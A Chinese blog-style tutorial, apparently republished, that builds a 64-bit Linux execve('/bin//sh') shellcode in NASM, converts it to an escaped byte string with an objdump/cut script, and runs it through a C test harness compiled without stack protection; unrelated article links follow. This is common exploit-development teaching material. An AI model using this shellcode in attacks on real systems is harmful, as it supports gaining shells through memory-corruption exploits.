汇编代码如下:

section .textglobal _start
_start:jmp shell
here:xor rax,raxpop rdixor rsi,rsixor rdx,rdxadd rax,59syscall
shell:call here
bash db "/bin//sh"

编译执行过程如下:

jay@ubuntu:~/Desktop/bin2shell$ vim shell.asm
jay@ubuntu:~/Desktop/bin2shell$ nasm -f elf64 shell.asm -o shell.o
jay@ubuntu:~/Desktop/bin2shell$ ld shell.o -o shell
jay@ubuntu:~/Desktop/bin2shell$ ./shell
$ ls
README.md  bin2shell.sh  shell  shell.asm  shell.o
$ exit

用如下bin2shell.sh 脚本将二进制的shell程序 转为x86_64位的shellcode

#!/bin/bash
for i in $(objdump -d $1 |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo

原理:objdump -d后取带数字的每行的第二个字段 并在其前加入 “\x“ 之后echo输出

jay@ubuntu:~/Desktop/bin2shell$ objdump -d shellshell:     file format elf64-x86-64Disassembly of section .text:0000000000400080 <_start>:400080:   eb 10                   jmp    400092 <shell>0000000000400082 <here>:400082:   48 31 c0                xor    %rax,%rax400085:   5f                      pop    %rdi400086:   48 31 f6                xor    %rsi,%rsi400089:   48 31 d2                xor    %rdx,%rdx40008c:   48 83 c0 3b             add    $0x3b,%rax400090:   0f 05                   syscall 0000000000400092 <shell>:400092:   e8 eb ff ff ff          callq  400082 <here>0000000000400097 <bash>:400097:   2f                      (bad)  400098:   62                      (bad)  400099:   69                      .byte 0x6940009a:   6e                      outsb  %ds:(%rsi),(%dx)40009b:   2f                      (bad)  40009c:   2f                      (bad)  40009d:   73 68                   jae    400107 <bash+0x70>

最后效果如下:

jay@ubuntu:~/Desktop/bin2shell$ ./bin2shell.sh  shell
\xeb\x10\x48\x31\xc0\x5f\x48\x31\xf6\x48\x31\xd2\x48\x83\xc0\x3b\x0f\x05\xe8\xeb\xff\xff\xff\x2f\x62\x69\x6e\x2f\x2f\x73\x68

最后利用shellcode的c代码如下:

# gcc -fno-stack-protector -z execstack shell-testing.c -o shell-testing#include<stdio.h>
#include<string.h>unsigned char code[] = "\xeb\x10\x48\x31\xc0\x5f\x48\x31\xf6\x48\x31\xd2\x48\x83\xc0\x3b\x0f\x05\xe8\xeb\xff\xff\xff\x2f\x62\x69\x6e\x2f\x2f\x73\x68";main()
{printf("Shellcode Length:  %d\n", (int)strlen(code));int (*ret)() = (int(*)())code;//声明一个函数指针  将code数组的地址转换同一类型的指针并赋值ret();}

代码:https://github.com/tangsilian/SomeCode/tree/master/bin2shellcode

参考:
https://www.exploit-db.com/exploits/42791/
cut 命令解释:https://www.ibm.com/support/knowledgecenter/zh/ssw_aix_72/com.ibm.aix.cmds1/cut.htm

转载于:https://www.cnblogs.com/Tesi1a/p/7624052.html

转换汇编到shellcode的过程相关推荐

  1. 详述在设有快表的请求分页存储管理系统中,一个虚地址转换成物理内存地址的过程。

    详述在设有快表的请求分页存储管理系统中,一个虚地址转换成物理内存地址的过程. first() {//检索快表if(找到){修改页表项访问位if(是写指令){修改位置为"1";}us ...

  2. 详述在设有快表的请求分页存储管理系统中,一个虚地址转换成物理内存地址的过程。...

    详述在设有快表的请求分页存储管理系统中,一个虚地址转换成物理内存地址的过程. first() {//检索快表if(找到){修改页表项访问位if(是写指令){修改位置为"1";}us ...

  3. 汇编对sp指针进行修改_从汇编理解函数调用的过程

    平时,绝大部分时间我们都基本是使用C语言进行程序的编写.而在C语言中,函数的调用是很简单:只需要把函数名写好,参数填好,然后放在需要调用的地方就行了.但是如果用汇编来写的话就不会这么简单了.下面我们从 ...

  4. mp4转换m3u8格式php,【过程】第一次将m3u8文件转换为MP4文件经验分享

    因为工作原因,要将之前{中国影视童星大赛}的网络上的回放保存到本地下来,是微信里面的网页,用电脑打开的话,不会有下载按钮,手机用UC浏览器看视频一般都会有下载按钮,索性我就用uc下载到手机上再传到电脑 ...

  5. 25.java中IO流的应用---缓冲流、转换流以及对象流过程(附讲解和练习)

    处理流之一:缓冲流  为了提高数据读写的速度, Java API提供了带缓冲功能的流类,在使用这些流类时,会创建一个内部缓冲区数组,缺省使用8192个字节(8Kb)的缓冲区.  缓冲流要" ...

  6. 阴间指令集MIPS简介:汇编,IO,过程调用与冒泡排序

    目录 前言 MIPS指令集简介 MIPS资源 寄存器资源 内存资源 MIPS指令 算数指令 数据传输指令 逻辑指令 分支跳转指令 MIPS模拟器 编译并且运行简单求和程序 MIPS模拟器中的汇编 MI ...

  7. riscv的c语言编译,RiscV汇编介绍(1)-编译过程

    把高层的c/c++源文件转化为可执行文件的过程如下图所示(linux操作系统为例): 以hello.c程序为例,我们看下编译,汇编,链接到生产可执行文件的过程. 1.hello.c代码如下:#incl ...

  8. 音频转换通项目案例简单过程分享

    文章目录 音频通转换 1.要求 2.BUG分享 3.问题 4.总结 5.二轮测试 6.音屏转换通项目收获 音频通转换 1.要求 测试音频转换通软件,采用尽可能的测试方法去测试软件,找出更多的缺陷 不少 ...

  9. NTP时间戳转换成UTC时间的过程

    前言:最近在学习时频产品时钟对时协议,在学习NTP协议时一直对协议报文中的时间戳转换存在疑问,通过各种搜集资料.自我理解后终于对NTP时间戳有了一个具体的认识:发现现阶段网上的免费资料里对整个转换没有 ...

最新文章

  1. 今天看论坛,有这样一句话,深有同感,还是家里好
  2. ubuntu 安装nginx,php,mysql。常见错误解决
  3. 943c语言,考研备战:华南理工大学943计算方法(含C语言)复试大纲_跨考网
  4. 从微信红包的春节活动运营方案中,必读的运营策略
  5. runtime无法执行grep_如何使管道使用Runtime.exec()?
  6. python技巧 计算字符串中字母出现的次数并取出最大
  7. 已管理员身份从cmd框进入mysql,及常用的简单操作!
  8. (转) 淘淘商城系列——解决KindEditor上传图片浏览器兼容性问题
  9. PKU 3273  PKU 3258  pku 1905 PKU 3122 二分运用题目
  10. oracle存储过程实例
  11. 数字电路与系统设计(一)
  12. carry函数在C语言中用法,常考词的语法与用法:careless, carry, case
  13. Android |双锁单例模式中使用Context如何避免内存泄露的 Warning 提示
  14. Flutter 清除应用缓存
  15. 网传美团今年应届生年薪 35w+,严重倒挂老员工,为什么互联网大厂校招的薪资一年比一年高?...
  16. 基于Springboot的漫画网站设计与实现的源码+文档
  17. vue中实现动画效果--三种方式
  18. 分花生游戏 (博弈论)
  19. Android教程之名词扫盲汇总
  20. ai芯片fpga_AI芯片技术趋势景观GPU TPU FPGA初创公司

热门文章

  1. poj2785 折半枚举 挑战程序设计竞赛
  2. poj2586 Y2K Accounting Bug
  3. CentOS搭建安装SVN
  4. Qt:Qt使用鼠标模拟函数mouse_event和按键模拟函数keybd_even实现网页刷新功能
  5. sqlite3 学习
  6. intent Filter
  7. [cogs1065]绿豆蛙的归宿
  8. 手把手教你学习ROR-6.Rooter的配置
  9. Jwplayer5.10视频拍照(截图)
  10. Windows Phone开发(11):常用控件(下) 转:http://blog.csdn.net/tcjiaan/article/details/7300085...